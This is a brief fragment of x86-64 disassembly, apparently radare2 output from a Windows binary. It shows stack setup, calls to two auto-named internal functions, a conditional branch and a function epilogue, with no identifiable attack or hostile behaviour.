mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001b9e0
nop
cmp dword [rbp + 0x20], 0
je 0x14001bba1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001bbac
int3
xor r8d, r8d
xor edx, edx
jmp 0x14001bae4